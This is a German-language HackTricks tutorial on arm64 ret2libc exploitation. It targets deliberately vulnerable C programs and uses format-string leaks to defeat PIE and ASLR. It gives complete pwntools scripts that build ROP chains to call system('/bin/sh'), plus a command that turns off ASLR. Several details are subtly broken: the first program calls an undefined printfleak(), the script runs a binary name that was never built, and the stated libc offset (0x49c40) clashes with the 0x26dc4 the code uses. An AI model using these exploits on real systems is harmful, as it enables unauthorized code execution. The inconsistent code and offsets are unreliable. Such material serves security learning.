Ret2lib + Printf leak - arm64

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Ret2lib - NX-Bypass mit ROP (kein ASLR)

#include <stdio.h>

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Kompilieren ohne Canary:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Find offset

x30 offset

Erstellen eines Musters mit pattern create 200, Verwendung davon und Überprüfung des Offsets mit pattern search $x30, wir können sehen, dass das Offset 108 (0x6c) beträgt.

Beim Betrachten der disassemblierten Hauptfunktion sehen wir, dass wir zum Befehl springen möchten, der direkt zu printf springt, dessen Offset vom Laden der Binärdatei aus 0x860 beträgt:

Find system and /bin/sh string

Da ASLR deaktiviert ist, bleiben die Adressen immer gleich:

Find Gadgets

Wir müssen die Adresse des Strings /bin/sh in x0 haben und system aufrufen.

Unter Verwendung von rooper wurde ein interessantes Gadget gefunden:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

Dieses Gadget lädt x0 von $sp + 0x18 und dann die Adressen x29 und x30 von sp und springt zu x30. Mit diesem Gadget können wir das erste Argument steuern und dann zu system springen.

Ausnutzen

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - NX, ASLR & PIE Umgehung mit printf-Leaks vom Stack

#include <stdio.h>

void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Kompilieren ohne Canary:

clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIE und ASLR, aber kein Canary

  • Runde 1:

  • Leak von PIE vom Stack

  • Ausnutzung von BoF, um zum Hauptprogramm zurückzukehren

  • Runde 2:

  • Leak von libc vom Stack

  • ROP: ret2system

Printf-Leaks

Durch Setzen eines Haltepunkts vor dem Aufruf von printf ist es möglich zu sehen, dass es Adressen zum Zurückkehren zum Binärprogramm im Stack gibt und auch libc-Adressen:

Durch Ausprobieren verschiedener Offset kann %21$p eine Binäradresse leaken (PIE-Umgehung) und %25$p kann eine libc-Adresse leaken:

Durch Subtrahieren der geleakten libc-Adresse von der Basisadresse von libc ist es möglich zu sehen, dass der Offset der geleakten Adresse von der Basis 0x49c40 beträgt.

x30 Offset

Siehe das vorherige Beispiel, da der BoF derselbe ist.

Finden von Gadgets

Wie im vorherigen Beispiel müssen wir in x0 die Adresse des Strings /bin/sh haben und system aufrufen.

Unter Verwendung von rooper wurde ein weiterer interessanter Gadget gefunden:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

Dieses Gadget lädt x0 von $sp + 0x78 und dann die Adressen x29 und x30 von sp und springt zu x30. Mit diesem Gadget können wir das erste Argument steuern und dann zu system springen.

Ausnutzen

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated